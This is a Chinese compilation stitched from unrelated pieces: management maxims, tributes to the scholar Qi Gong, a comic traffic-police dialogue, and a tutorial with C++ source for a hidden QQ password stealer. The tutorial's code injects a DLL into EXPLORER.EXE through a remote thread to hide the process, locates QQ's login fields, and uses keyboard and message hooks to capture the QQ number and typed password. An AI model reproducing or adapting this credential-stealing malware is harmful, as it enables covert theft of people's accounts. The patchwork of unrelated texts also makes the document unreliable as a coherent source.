[★绝色佳人伴我行★]

 1.帕金森定律
一个不称职的官员，可能有三条出路：一是申请退职，把位子让给能干的人；二是让一位能干的人来协助自己工作；三是聘用两个水平比自己更低的人当助手。

 2.华盛顿合作定律
一个人敷衍了事，两个人互相推诿，三个人则永无成事之日。

 3.木桶定律
一只木桶盛水的多少，并不取决于桶壁上最高的那块木板，而恰恰取决于桶壁上最短的那块木板。

 4.彼得原理
在层级组织里，每个人都会由原本能胜任的职位，晋升到他无法胜任的职位，无论任何阶层中的任何人，或迟或早都将有同样的遭遇。

 5. 80/20法则
世界上充满了神秘的不平衡：20％的人口拥有80％的财富，20％的员工创造了80％的价值,80％的收入来自20％的商品，80％的利润来自20％的顾客……

 6.墨菲定律
如果坏事情有可能发生，不管这种可能性多么小，它总会发生，并引起最大可能的损失。

 7.破窗理论
如果有人打坏了一栋建筑上的一块玻璃，又没有及时修复，别人就可能受到某些暗示性的纵容，去打碎更多的玻璃。

 8.手表定律
只有一只手表，可以知道是几点，拥有两只或两只以上的手表，却无法确定是几点；两只手表并不能告诉一个人更准确的时间，反而会让看表的人失去对准确时间的信心：这就是著名的“手表定律”。

 9.　路径依赖
一旦人们做了某种选择，就好比走上了一条不归之路，惯性的力量会使这一选择不断自我强化，并让你轻易走不出去。

 10.蘑菇定律
蘑菇定律"是组织对待初出茅庐者的一种非常适用的管理方法，初学者被置于阴暗的角落（不受重视的部门，或打杂跑腿的工作），浇上一头大粪（无端的批评、指责、代人受过），任其自生自灭（得不到必要的指导和提携）。

 11.奥卡姆剃刀
“奥卡姆剃刀”是一种“反动的”哲学。人类文明的不断发展，就是不断为这个世界增添新的内容，而“奥卡姆剃刀”却不断向我们的文明成果发出挑战，指出许多东西实际上是有害无益的，而我们正在被这些自己制造的麻烦压垮。

 12.　马太效应
这是一个赢家通吃的时代，富人享有更多资源——金钱、荣誉以及地位，穷人却变得一无所有。

 13.鲇鱼效应
一种动物如果没有对手，就会变得死气沉沉。同样，一个人如果没有对手，那他就会甘于平庸，养成惰性，最终导致庸碌无为。

 14.光环效应
人们对人的某种品质或特点有清晰的知觉，印象比较深刻、突出，这种强烈的知觉，就像月晕形式的光环一样，向周围弥漫、扩散，掩盖了对这个人的其他品质或特点的认识。

 15.羊群效应
羊群是一种很散乱的组织。平时，大家在一起盲目地左冲右撞；后来，一只头羊发现了一片肥沃的绿草地，并在那里吃到了新鲜的青草，后来的羊群就一哄而上，你抢我夺，全然不顾旁边虎视眈眈的狼，或者看不到远处还有更好的青草。

 16.多米诺效应
不论是在政治、军事还是商业领域中，如果不注意防微杜渐、堵塞漏洞，就可能产生一倒百倒的多米诺效应。

 17.蝴蝶效应
一只亚马逊河流域热带雨林中的蝴蝶，偶尔扇动几下翅膀，两周后，可能在美国德克萨斯州引起一场龙卷风。

 18.皮格马利翁效应
每一个孩子都可能成为非凡的天才，一个孩子能不能成为天才，取决于家长和
老师能不能像对待天才一样爱他、期望他、教育他。 

　　启功先生于今日凌晨2:56分在京逝世。沉痛悼念著名学者、书画家、北京师范大学教授启功先生！

　　生平简介

　　启功先生字元白，1912年生于北京，满族。幼年失怙且家境中落，自北京汇文中学中途辍学后，发愤自学。稍长，从贾尔鲁先生(羲民)、吴熙曾先生(镜汀)习书法丹青，从戴绥之先生(姜福)修古典文学。刻苦钻研，终至学业有成1933年经傅沅叔(增湘)先生推介，受业于陈援庵先生(垣)，获闻学术流别与考证之学。援庵先生慧眼识才，聘为辅仁中学国文教员；1935年任辅仁大学美术系助教；1938年后任辅仁大学国文系讲师，兼任故宫博物院专门委员，从事故宫文献馆审稿及文物鉴定工作；1949年任辅仁大学国文系副教授兼北京大学博物馆系副教授；1952年后任北京师范大学副教授、教授至今。现任中国人民政治协商会议全国委员会常务委员会委员、国家文物鉴定委员会主任委员、中央文史研究馆馆长、中国书法家协会名誉主席、北京师范大学教授、博士研究生导师。

　　启功作品艺术特色

启功先生是当代著名学者、画家和书法家。他著作丰富，通晓语言文字学，甚至对已成为历史陈迹的八股文也很有研究；他做得一手好诗词，同时又是古书画鉴定家，尤精碑帖之学。

　　欣赏他的书法作品，我总要联想到他对碑帖的精深研究，因为他对碑帖的研究和他的书法艺术的成就有着不可分割的联系，碑帖之学是明清两代兴起的一门学问，这门学问现在随着地下墨迹的不断出土，开辟了新的境界。他就是这片园地的开拓者之一。这门学问除夸扬珍异、竞炫收藏的古董藏家不能算外，其路子约分为二类：一是研究其中历史资料，以碑刻文辞证史补事，或校读文辞；二是赏鉴、研究其书法艺术。启功先生兼于两者，更精于后者，他在两者之间融合贯通，其方法突破前人藩篱。“买椟还珠事不同，拓碑多半为书工。滔滔骈散终何用，几见藏家诵一通”。他写这首诗是有感于过去多少鉴赏家重视碑帖的书法，而对其中文辞则往往视而不见。名家如孙承泽、翁方纲以及叶昌炽莫不有此疵病，而他且不放过文辞内容。正因为这样，他把历来定论的《曹娥碑》驳得体无完肤。因此，所谓王羲之小楷《曹娥碑》，也就不存在了。更何况蔡邕的书丹。

　　启功先生的书法理论著作，我最喜欢他的发比喻，时出妙语，对书法艺术以及书法史上的许多问题，有其独特的《论书绝句百首》，这是他数十年书法实践、研究的体会。特别是诗中的自注，行文隽逸，阐见解。我自己有些长期的问题，读了之后感到迎刃而解，有豁然开朗之感。诸如考证出于开元翰林供奉之手；日本藤远后之临《乐毅论》以证明王羲之书体势之雄强；鉴定张旭书庚信《步虚词作》实为大中祥符以后宋之笔；以西陲晋人残纸证《阁帖》中索靖书法的本来面目。这些都是翻书法史上成说的案，论据充分坚实有力，不得不令人信服。此外如论蔡襄、祝允明书法之未成自己体段；柳公权、黄庭坚书法用笔尽笔心之力，结字聚字心之势。而其中对历代著名书法家之特色，各时代书法的体势、风格，以至辨别书体源流，变迁原因，都是非常精辟的。

　　·教师启功·

　　启先生的教学总是同他的学术研究紧密结合在一起的。像在《历代韵文选》课上，先生给我们讲过敦煌变文，从敦煌石室的发现，伯希和、斯坦因劫走大批藏品，到《张义潮变文》、《王昭君变文》和《燕子赋》等众多内容，使我们这些刚上大学的学生们了解到许多从未听说过的知识。到后来王重民等六位先生整理的《敦煌变文集》出版了，我们才知道给我们讲课时可能先生正在关注、研究变文。1934年和1948年王重文、王庆菽两位先生先后从伦敦、巴黎带回来一些敦煌变文的照片和钞件，这期间学术界出现了敦煌文学的研究热，而启先生正是把当时最“前卫”最新的信息传达给我们了。

　　启先生讲课，写文章极注意做到深入浅出，化繁富为简明，化深奥为平易，从不板起面孔故弄玄虚地吓唬学生，所以总让人感到读书求学乃是一项愉快的活动，而不是那么枯燥乏味，艰深困难。如诗歌格律问题讲不好就很使人厌烦，但启先生却绘成图表教我们掌握其变化规律，使学生很容易就了解到它不但有规律可循，还有其灵活性。至今我们还保存着几张他亲手绘制的律诗平仄表，工整的墨笔字和朱笔符号，那是先生三十几岁时的墨迹。而这也正是他后来所著《诗文声律论稿》的雏形。

　　可能是出于教师的职业习惯，启先生的文章总是有首有尾，脉络分明。开宗明义交代写作目的，然后逻辑严密地铺展开去，而且旁征博引、纵横驰骋却总不偏离文章的核心。如《〈兰亭帖〉考》首先说明什么是《兰亭序》和《兰亭帖》，再梳理世传的五类《兰亭帖》摹本刻本的情况及真伪问题，最后论断说：倘有荆溪吴氏所藏唐摹本存世，得与神龙本“汇合而比较，则《兰亭帖》的问题或者可以没有余蕴了”。文章既极专门，又很通俗，所以我们外行人也能看得明白。——聂石樵、邓魁英《启先生教学和治学的风格》

　　·学生启功·

　　陈垣先生对他几十年的精心教育，使启功先生异常感动，时刻铭记于心。此事先是我就不知听过多少遍。一个学生能对培育自己的老师如此念念不忘，我还很少见到。我们在《启功韵语》上可以读到题为《扇上写青松红日为励耘师寿》：“万点松煤写万松，一枝一叶报春风。轮自富千春寿，更喜阳和日正东。”这是为老师祝寿的诗，那“一枝一叶报春风”的情感实在令人感动。这“励耘”就是陈垣老师书房的名字。想必启功先生经常出入这“励耘房，留下美好的记忆，唤起对老师教育之恩的感念，所以在自己名满海内外之际，执意要“励耘”作为奖学金的名称了。(编者按：启功先生将拍卖自己书画作品的200万元建立“励耘奖学金”，用以奖励优秀青年教师和学生。)——童庆炳《启功先生，治学为师的楷模》

　　在治学之道上，启功先生体味诸老前辈的言行，有两条铭心不忘的收获：一是懂得对古人的成说，不可盲从，不可轻信；二是明白了学问不是死的。后来启功先生每逢和人谈到他对许多问题的理解时，常用个比喻说：“盘子不是永远向上盛东西的，立起来也可以当小车轮子用。”——郭英德《无法之法：启功先生的治学之道》

　　·朋友启功·

　　《〈叶遐庵先生书画集〉跋》更是一篇记述师友之伦的字字珠玑而又“字字都是血和泪”的挚情文章，试读如下一段：

　　昔当先母病剧时，功出市附身之具，途遇高轩，先生执功之手曰：“我亦孤儿也。”言次泪下沾襟。其后黑云幻于穹苍，青虫扫于草木，绵亘岁月，而先生亦长往矣。

　　今裂生纸，草短跋，涕渍行间，屡属屡辍。虽然，纵果倾河注海，又讵能仰报先生当年沾襟之一掬耶！

　　有谁能读到这样的文字而不肃然动容！这种自然表露、细致抒发悲怆与思念的文章，我认为是足可以比肩于韩愈的《祭十二郎文》、归有光的《项脊轩志》的。如果了解叶、启两先生都在1957年遭受“派曾右”“(《丛稿·诗词卷·自撰墓志铭》)的不公正待遇，从此步入坎坷，就更能感受到“黑云幻于穹苍，青虫扫于草木”的深刻内涵了。——董琨《元白先生之风谊》

　　·学者启功·

　　1995年11月的一天，数十位学者会聚在北京师范大学英东楼，讨论启功先生的新著《汉语现象论丛》，对这部别开生面的著作给予高度肯定。讨论结束前，一直正襟危坐、凝神倾听的启先生站起来讲话。他微躬身子，表情认真地说：

　　我内侄的孩子小时候，他的一个同学常跟他一块上家来玩。有时我嫌他们闹，就跟他们说，你们出去玩吧，乖，啊？如此几次，终于有一天，我听见他俩出去，那个孩子边下楼边很有些不解地问：那个老头老说我们乖，我们哪儿乖啊？

　　今天上午听了各位的发言，给我的感觉就像那小孩，我不禁要自问一声：我哪儿乖啊？

　　听完这最后一句，静静的会场里伴随着欢笑，响起热烈的掌声。

　　真令人拍案叫绝！一则故事，一段比兴，传达了谦虚，暗和了感谢，表现出风趣与幽默。这，就是我们熟悉和爱戴的启功先生。——刘石《我所理解的启功先生》

　　《汉语现象论丛》是一部智慧的书。对此有所觉知，有所挹取，可以苏活学人的心智，助长学术的正见。这也是《论丛》在今天特别具有的学术意义。

　　今人治学，喜操方法。这当然是好事，但看看详情，却颇不令人乐观。常见方法的使用，实则只是使工具，道器一如的方法论，已被降为工具一层论。工具当然不是自家打造。学术开放，国外理论大量地传来，使工具的拆兑有了方便。这主义、那理论，套套地来，件件地使，见李逵说板斧，见鲁达说禅杖。学术的进展很大程度上不是表现为客体认识的深化，而是角度的翻新。可以不为理论的外来忧，却须为方法的套用惧。因为与此相伴的实际是我们的学术从业者主体能力的日益暗弱。以致知为目的的学术，会因此丧失自己的本质。这种学术的“方法病”，不自今日起，它由来甚久，是一个近代现象。如启功先生这本书里所论对的“葛郎玛”，就是“办洋务”形势下的一个学术舶来品。这也不限于语言一科，甚至不限于学术界。试问自从国人觉得自己不如西洋之后，有哪样“维新”不是从仿造开始？干实业，照抄照搬可以立见其不通，但在学术，却可以因其表面的不关国计民生而维系其长期的っ痢Ｆ艄ο壬的《汉语现象论丛》以其对汉语特征的那种独到见解博得喝彩，尤当为之喝彩的是流动于其中的那种睿智，和作者的那种用自家头脑面对问题的治学气度。对于明确什么是真正的学术方法，这些流动的智慧实在有发壅起蔽的开示意义。——李山《〈汉语现象论丛〉中的学术智慧》

　　启功先生曾多次对人说：“我没有大学文凭，只是一个中学生。”

　　这是事实。没有经过大学学院教育的正规训练，这是他的不幸，更是他的幸运。因为这样一来，他就没有任何学院教育的框框束缚，学杂诸家，不主一说，随心所欲，始终保持着自由自在的思维本色。——郭英德《无法之法：启功先生的治学之道》 ·诗人启功·

　　启功先生是当代古典诗坛上的泰斗之一，近十几年来出版了《启功韵语》、《启功絮语》、《启功赘语》等三部诗集。最近由中华书局又将这三部诗集汇集成《启功丛稿·诗词卷》，共收入近600首作品。这些作品工力深厚，风格鲜明，完美地利用了古典诗词的固有形式，又充分体现了新时代的创造特点，为古典诗词如何继承与创新树立了很好的典范。同时，启功先生还对古典诗词的创作发表了很多精辟的见解，从理论上对当代古典诗词的创作进行了深入的探讨，这些都对当代古典诗词的创作有很大的启发，值得我们很好地加以借鉴。——赵仁王圭《旧体诗的新作法：读启功诗词所得的启示》

　　启功先生在《诗文声律论稿》中精辟地归纳了旧体诗的格律。按我的理解，他深入研究诗律，是为了总结前人写诗的经验，借以诠释古典诗歌的语言艺术，并不是要求今人都按照旧体诗的格律来写诗。启先生自己的诗集《启功韵语》和《启功絮语》、《启功赘语》，各体兼备，风格多样，足见他的创作正在探索诗体的革新，为中国诗的发展寻求出路。——程毅中《读启功先生“三语”有感》

　　我是古代文学方向的研究生，我的研究对象主要是诗歌，为了对这一体裁有更深刻的了解，我一直在尝试写一些旧体诗。启功先生的《诗文声律论稿》是我学诗的一本重要的工具书。正如启功先生在书的绪论中讲到的，“本文所要探索的是古典诗、词、曲、骈文、韵文、散文等文体中的声调特别是律调的法则，……分析前代人的成说，从具体的现象中归纳出目前所能得出的一些规律。”启功先生对于这些规律的论述和分析深入浅出、简洁明了，很利于初学者去把握。

　　这本书也是一本很见功力的诗文声律研究专著。作者在这样一本薄薄的小册子里完整的论述了律诗的发展历史，深入的分析了律诗的几种重要的形式，同时还对词、曲、骈文、韵文中的律调句以及散文中的声调问题进行了研究，既有对前人研究成果的总结，又有许多创见，是做诗歌研究的学者不可忽略的成果。

　　书中作为例证的作品如杜甫的《客至》、李白的《登金陵凤凰台》、李商隐的《七月二十八日与王郑二秀才听雨后梦作》等都是技巧与意境俱佳的上乘之作，可以当作一本优秀的诗歌选本来读。——胡秋蕾

　　启功先生的《诗文声律论稿》对于初学诗词格律的人来说是很相宜的，以大学者之巨眼高瞻远瞩，在纷繁的音韵声律现象中总结出了几条比较清晰的规律，特别是其中的“平仄长竿”说，犹如拨云见日，一下子让初学者理出了头绪。薄薄一本小册子，兼及诗、词、曲、文，亦论及永明体等与诗体流变相关之问题，可谓由博返约，非大学者莫办。这本书的重点虽然在讲诗词格律，亦旁及骈文、韵文与散文等其他学者较少提及的文体的声调押韵问题，为初学者一解疑惑。启功先生在提到前人成说时均详述其作者书名，读者若欲进一步深入研究，便可依照书目查阅，甚为方便。此书为启功先生的手写本影印，先生的书法，笔秀神清，向为海内所重，读者执此一卷，既可学习诗文声律，兼得欣赏、临摹书法，岂非一举而两得乎？——谢丹云

　　·书画家启功·

　　1980年夏天，我去美国参加《红楼梦》的国际学术研讨会，需要给大会送一些礼品，我们就请启先生写一小幅字带去。我怀着忐忑的心情去拜访启先生，提出了这个奢求，不料启先生竟说我们合作一幅画吧。我的画根本是学习，怎可与启先生合作，但启先生却毫不犹豫，铺好纸就让我动笔，我只好勉强画了几笔，然后由启先生完成并题句。为什么由我先画，因为最后要由启先生来“收拾”，这样我画得不当之处，他就可以帮我弥补过去。这使我深深感到启先生的宽宏仁厚。——冯其庸《博学宏通，显幽烛微：拜读启功先生〈论诗绝句百首〉》

　　·名人启功·

　　在我的印象里，启功先生是少数不太像名人的名人。

　　自古及今，名人似乎都或多或少有点名人的傲气和架子。比如魏晋时的嵇康吧，有一次，好朋友山涛写信劝他到中央谋个一官半职，你不领情也就罢了，还写了一封公开信，把人家臭骂一顿，最后说要断交。至于时下的名人似乎也没有因为时代的进步而把脾气改得温和一些，“假唱”、“摔话筒”、“拒演”一类的事时有发生。

　　这种傲气和做派在启先生身上很难找到。以做人论，他的谦和与幽默是有口皆碑的；以作文论，总感觉到他不避俚俗，甚至有点故意与“高雅”为敌。“乘客纷纷一字排，巴头探脑费疑猜。东西南北车多少，不靠咱们这站台。坐不上，我活该。愿知究竟几时来。有人说得真精确，零点之前总会来。”(《鹧鸪天八首·乘公共汽车》之一)这多少有点打油诗的味道。在已出版的三本诗集中，这样的诗不少。虽然得到的意见“一般都是在照例夸奖之中，微露有油腔滑调之憾。”(《启功絮语·自序》)但这种作风好像并没有收敛。“但这册中的风格较前册每下愈况，像《赌赢歌》等，实与《数来宝》同调，比起从前用俚语入诗词，其俗更加数倍。”(《启功絮语·自序》)他向读者“招认”，“这些语言，可以美其名曰‘诗’。比较恰当，实应算是‘胡说’。”并且解嘲曰：“我们这族人在古代曾被广义地称为‘胡人’，那么胡人后裔所说，当然不愧为胡说。即使特别优待称之为诗，也只是胡说的诗。”——这是谦虚，还是坦白，我不知道。但启先生不愿让别人把自己摆上“神坛”远远地朝拜，而宁愿走下来和“追星族”们称兄道弟的心意还是显而易见的。

　　启先生写起学术著作来也与他的人、他的诗一样没有架子一样“老实交代”。

　　拿《诗文声律论稿》(中华书局版)为例，这本著作连同附录不足7万字，书后也没有数量之多足以令人咋舌的“引用书目”，既看不出作者的“饱学”，也看不出操作上的“专业”。在当今很看重“数量”的学术氛围中，不知这样“部头”不够大的著作可不可以拿到评审委员会那里评职称？

　　但薄薄一本小册子，讨论的范围却涉及了诗、词、曲、骈文、韵文、散文等诸多文体的声律问题，精彩的论点随处可见。单是书中提出的“平仄长竿”规律，就我所知，应该是至今为止对于诗文声律形成的最具根本性的解释之一。其含金量也未必就不如那些恢弘巨著吧。

　　书中所用的语言，纯系白得不能再白的大白话，没有利用“之乎者也”来烘托自己国学功底的高深。读他的书就如同与一个忘年交在面对面讨论问题，不必正襟危坐，不必洗耳恭听，你尽可以毫不客气地责难，也可以用最放松的姿势会心一笑——因为作者本来就不是以学术权威的架势来教导人的。

　　我敢断言，如果没有与读者平等交流的心态，这样的书是绝对写不出来的。

　　听朋友说，中华书局新近影印出版了启功先生手书的《诗文声律论稿》，我觉得非买不可，以后置于案头，学他的字，学他的文，也学他的人。——士心《中华读书报》

平台：windows xp sp2;
软件：QQ2005版。
申明：本文旨在技术交流。

一。先讲几句废话：

经常有听到有朋友QQ被盗的消息，总感觉做出这种行为的人是可鄙的，不就是对QQ窗口进行监视，然后再是记录用户输入的号码和密码，认为没什么了不起。

对于Windows核心编程，本人还是一只菜鸟，前一段时间把《Windows系统编程》粗略的看一边（当然重点地方仔细的看），由于对于C++有点基础，感觉学起来比较容易上手。但到了这两天真正实践的时候，遇到了各种各样的问题。即使一个小小的问题都足以让我这只菜鸟郁闷老半天。直到此时，在完成这个软件的时候，整理一下思路，不但算是给自己个总结，也跟像我一样的菜鸟们分享一下自己的经验。

二。进入主题：

想必大家都已经知道，这类软件的特点就是在用户不知不觉的时候工作。在任务管理器中是看不到它们的，这就是隐藏了进程。采用插入内核的嵌入方式、利用远程插入线程技术、嵌入DLL线程、或挂接PSAPI等都可以达到效果，哎，既然是个菜鸟就选择一个最简单的来做个实验。

先讲一下思路：需要三个进程A，B，C；两个DLL。

初始进程A，用于在进程B中创建远程线程，创建成功立即退出，不会留给任务管理器任何捕捉它的机会（你根本来不及观察）。

进程B作为远程线程的寄主，选择的时候应该是那些系统中必须执行的进程，比如EXPLORER.EXE。其中的远程线程用于监视目标进程。

进程C为目标进程在这里也就是QQ.EXE。

第一个DLL（InspectQQLandDlg.dll),远程线程的载体。

第二个DLL（MyHook.dll),全局钩子函数的载体。

现在要做是利用进程A把InspectQQLandDlg.dll映射到进程B，同时启动该DLL中的远程线程，再利用该线程监视目标进程（QQ.EXE）QQ登陆窗口，一旦找到，立即把MyHook.dll映射到目标进程来监视用户的输入。

这样也清楚了这个软件设计的总体构架，下面用代码来具体实现。

1。远程线程的创建。先利用进程快照取得目标进程，相对比较简单

HANDLE hSnapshot ;
hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ) ;
if ( hSnapshot == INVALID_HANDLE_VALUE)
{
　　return 0;
}

string lpName = "EXPLORER.EXE" ;　　//设定需要监视的进程名
PROCESSENTRY32 pe;
pe.dwSize = sizeof ( PROCESSENTRY32 );

for( BOOL fOk = Process32First ( hSnapshot, &pe ) ; fOk;　 fOk =
Process32Next( hSnapshot, &pe ) )
{
if ( pe.szExeFile == lpName )
{　 

　 //取得宿主进程（EXPLORER.EXE）的句柄
　 HANDLE hRemoteProcess = OpenProcess ( PROCESS_ALL_ACCESS,
　　false, pe.th32ProcessID ) ;

　 //取得目标DLL的当前路径（路径可自由设置）
　 char szInspectDllPath[128] ;
　 GetCurrentDirectory ( 128, szInspectDllPath ) ;
　 strcat ( szInspectDllPath, "\\debug\\InspectQQLandDlg.dll" ) ;
　 
　 //申请存放文件名的空间
　 LPVOID pszInspectDllRemote ;
　 int InspectDllNameLength = sizeof ( szInspectDllPath ) + 1 ;
　 pszInspectDllRemote = VirtualAllocEx ( hRemoteProcess,
　　NULL, InspectDllNameLength, MEM_COMMIT, PAGE_READWRITE ) ;

　 //把dll文件名写入申请的空间
　 WriteProcessMemory ( hRemoteProcess, pszInspectDllRemote,
　　(LPVOID)szInspectDllPath, InspectDllNameLength, NULL);

　 //获取动态链接库函数地址
　 HMODULE hModule ;
　 hModule = GetModuleHandle ( "kernel32.DLL" ) ;
　 LPTHREAD_START_ROUTINE fnStartAddr ;
　 fnStartAddr = ( LPTHREAD_START_ROUTINE ) GetProcAddress ( hModule,
　　"LoadLibraryA" ) ;
　　
　 //创建远程线程
　 HANDLE hInspectRemoteThread = NULL ;//存放远程线程句柄
　 hInspectRemoteThread = CreateRemoteThread ( hRemoteProcess, NULL, 0,
　　fnStartAddr, pszInspectDllRemote, 0, NULL ) ;

　 if( hSnapshot != NULL )
　　CloseHandle ( hSnapshot ) ;//关闭进程快照

　 CloseHandle ( hRemoteProcess ) ;
　 break ;
}
}

2。此时InspectQQLandDlg.DLL已经被映射到EXPLORER.EXE。此时在InspectQQLandDlg.DLL的DllMain(千万不要写成DLLMain)接受到DLL_PROCESS_ATTACH消息，但一般来说不因在DllMain中执行过多的功能（借鉴前人的经验，嘿嘿），于是很容易想到开辟一个新线程。

switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{

　 //下面这句会给你创建远程线程成功的提示。
　 MessageBox ( 0, "Code Injection success!", "NOTE", MB_OK ) ;

　 HANDLE hNewThread = CreateThread ( NULL, 0,ThreadForInspect, NULL, 0, 0 ) ;
　 
　 break;
}
}

在新线程中要达到的目标只是一个循环，利用while()和循环标志(BOOL)isContinue即可以实现。

在这个远程线程中要完成的第二个任务是找到QQ登陆对话框中关键控件。

关于这点网上有很多资料，利用的是FindWindow和FindWindowEx，这是针对以前的版本。在这里已经无效了，现在QQ在这里下了点工夫，采用的是窗口标题采用随机字符。

就以登陆对话框为例，对话框的类为"#32770",或许许多菜鸟朋友会像我在最初的时候一样，傻傻用FindWindow ("QQ用户登陆","#32770") ;结果什么都没有，哎~~

其实可以通过窗口枚举搞清楚QQ在这里到底做了什么手脚。

BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )
{
if ( !hwnd )
{
return false ;
}
char szWindowName[128] ;
ZeroMemory ( szWindowName, 128 ) ;
GetClassName ( hwnd, szWindowClassName, 128 ) ;//取得类名

if ( !strcmp ( szWindowClassName, "#32770" ) )
{

　 __asm int 3

}

return true ;
}

利用上面的程序段，在VC调试器中不断按F5且同时在WATCH中观察szWindoName,很容易发现这个窗口名字符串是由不超过二十个字符组成（多次观察），但其中的元素只有0X13，0X10，0X32，字符串中的每个位置都是三个元素之一。但在SPY++中窗口名中看起来只不过是“ ”，怎么看都只是几个空格（再提醒一下，不要试图通过复制其中的内容，效果可是无法忍受的，呵呵）

事实上登陆窗口可以通过窗口的许多确定因素来确定，比如窗口风格，窗口ID之类的，这些都可以通过SPY++轻易得到（SPY++，好东西啊），下面也就不多发话了，直接给出各个关键控件的代码。

#define UserNameComboBoxId 0x0000008A　 //用户名控件ID
#define PasswordEditId　　 0x000000B4　 //密码控件ID
#define ButtonId　  　　0x00003EA0　 //登陆按扭控件ID
#define QQLandDlgMiniStyle 0x94CA00C4　 //登陆对话框最小化时的风格
#define QQLandDlgShowStyle 0XB4CA00C4　 //登陆对话框在桌面显示时的风格

BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )
{
if ( !hwnd )
return false ;

long style = GetWindowLong ( hwnd, GWL_STYLE ) ;
if ( style == QQLandDlgMiniStyle || style == QQLandDlgShowStyle )
{
hQQLand = hwnd ;
EnumChildWindows ( hQQLand, EnumChildWndProc, NULL ) ;

return false ;
}

return true ;
}

BOOL CALLBACK EnumChildWndProc ( HWND hwnd, LPARAM lParam )
{
if ( !hwnd )
return false ;

//取得指定句柄的控件ID
long id= GetWindowLong ( hwnd, GWL_ID ) ;

if (id == UserNameComboBoxId )
{
hUserName = hwnd ;
}

else if ( id == PasswordEditId )
{
hPassword = hwnd ;
}

else if ( id == ButtonId )
{
hLandButton = hwnd ;
}

return true ;
}

到这里终于取得盼望多时的hUserName,hPassword,hButton这三个控件的句柄。~v~

在这里其实可以用

SendMessage ( hUserName, WM_GETTEXT, 128, (LPARAM)szUserName );

取得UserName(QQ号码），但不能取得密码。

可以随便下载个*号密码，再在密码框中输入几个字符，结果可能是失败，不知道QQ做了什么手脚，有机会再好好研究。既然此路不通，菜鸟也自己的办法去达到目标。

现在远程线程的第二个功能（取得关键控件的句柄）已经完成，接下来要做的事是把MyHook.dll映射到QQ.EXE，这样即可实现对用户键盘输入的监视。

只需调用MyHook.dll的接口函数即可

SetHook ( hQQLand, hUserName, hPassword, hLandButton, true ) ;

3。MyHook.dll模块。

EXPORT BOOL WINAPI SetHook ( HWND hQQLand,
　　HWND hUserName, HWND hPassword, HWND hLandButton, BOOL isInstall )
{
if ( isInstall )
{
hQQLandDlg = hQQLand ;
hUserNameEdit = hUserName ;
hPasswordComboBox = hPassword ;
hButton = hLandButton ;

DWORD dwQQLandDlgThreadId = GetWindowThreadProcessId ( hQQLand, NULL ) ;
hHookDll = GetModuleHandle ( "MyHook" ) ;

hKeyboard = SetWindowsHookEx ( WH_KEYBOARD,
　 (HOOKPROC)KeyboardProc, hHookDll, dwQQLandDlgThreadId ) ;

hWndProc = SetWindowsHookEx ( WH_CALLWNDPROC,
　 (HOOKPROC)CallWndProc, hHookDll, dwQQLandDlgThreadId ) ;

　 if ( hKeyboard != NULL && hWndProc != NULL )
　 return true ;
}

else
{
UnhookWindowsHookEx ( hKeyboard ) ;
UnhookWindowsHookEx ( hWndProc ) ;

hHookDll = NULL ;
hKeyboard = NULL ;
hWndProc = NULL ;
ZeroMemory ( szPassword, 128 ) ;
pszPasswordLen = 0 ;
}

return false ;
}

这个程序段很简单只是通过检测远程线程的输入安装、卸载钩子函数。

如果对钩子函数不清楚的朋友，看一下MSDN或者WIN32函数集就可以了。

这里对QQ登陆对话框线程设置两个钩子，一个键盘钩子函数记录键盘输入；另一个全局消息钩子。

LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam )
{

//检测回车键是否被按下
if ( wParam == VK_RETURN && lParam > 0 )
{

//由于钩子函数只是记录对密码框的记录，因而在最后时刻取得号码会是准确的
SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );

//此处可以自由处理拦截到的号码和密码（szUserName,szPassword）

//不要忘了变量还原（szUserName,szPassword）
}

if ( lParam > 0 && wParam != VK_RETURN )
{
char KeyName[10] ;
　 ZeroMemory ( KeyName, 10 ) ;
GetKeyNameText ( lParam, KeyName, 10 ) ;

if ( strlen ( KeyName ) == 1 )
{
　 strcat ( szPassword, KeyName ) ;
　 }
}

return CallNextHookEx ( hKeyboard, nCode, wParam, lParam ) ;
}

也由一部分用户是用鼠标点击登陆按扭的，可由下面代码实现

LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam )
{
CWPSTRUCT *p = (CWPSTRUCT*)lParam ;
if ( p->message == WM_COMMAND && p->hwnd == hButton )
{//同理

SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );

//这里可添加如何处理密码的语句
}
return CallNextHookEx ( hWndProc, nCode, wParam, lParam ) ;
}


上面给出的几段代码可以实现基本的号码和密码记录功能，但对于具体细节的处理（比如用户按退格键或是其他），这些只要考虑仔细就可以了没有什么难度，这里就不说了。

www.sinosec.com

MM是怎样折磨交警的

     他在十字路口拦住了她的“POLO”，敬礼后，请她出示驾驶证。

    “这是为什么？”她坦率地惊问道。

    “您违犯了交通规则。”

    “谁告诉您的？”

    “我亲眼看到的。快出示证件，我等着呢。”

    “您是不是认为我没有驾照？”

    “我没这样认为。 ”

    “可是，我怎么可以把证件交给一个完全不认识的人呢？”

    “我是交通警察，我有权这样做。”

    “可我怎样道您是交警呢？”

    “难道您没看见我穿的制服？”

    “制服能说明什么？制服是可以假造的。我记得10年前，我的朋友张娜认识了一位军人……”

    “请不要给我讲故事，我在等您的证件。”

    “这不是故事，是往事。我只是想证明，制服并不总是可信的。”

    “那好吧，我可以让您看一下我的工作证。”

    “这个吗……也好，让我看看。嗯，这么说，您叫李维金？”

    “李维全。”

    “什么？您瞧这全写得像个金。算了，就当你是李维金吧，可是照片却不像你呀？”

    “不知道，可能是没戴帽子吧。强调一下。我叫李维全”

    “真的吗？你摘下帽子让我看看。还有，站直些，别皱眉头。是的，有点像了。照片很久了吧？”

    “7年前……”

    “这能看出来。你那时看上去很帅。”

    “好了吧，请把证件还给我。”

    “你急啥？只要证件不是伪造的，就不会有什么事发生。”

    “可我没空呀，我正在值班。”

    “你是否认为，我的空闲时间很多？我马上要去市场，顺路还得去找女裁缝，还要去看望生病的姑姑，还得给丈夫打电话……”

    “我求您了，快把证件还给我！您看看，您让后面堵了多少车了。”

    “这怎么能怨我？要知道并不是我拦住了您，而是您拦住了我。”

    “好吧，好吧，算我错了。只是恳求您快把证件还给我，把车开走。”

    “就是嘛！给您证件。以后可别再制造交通堵塞了。”

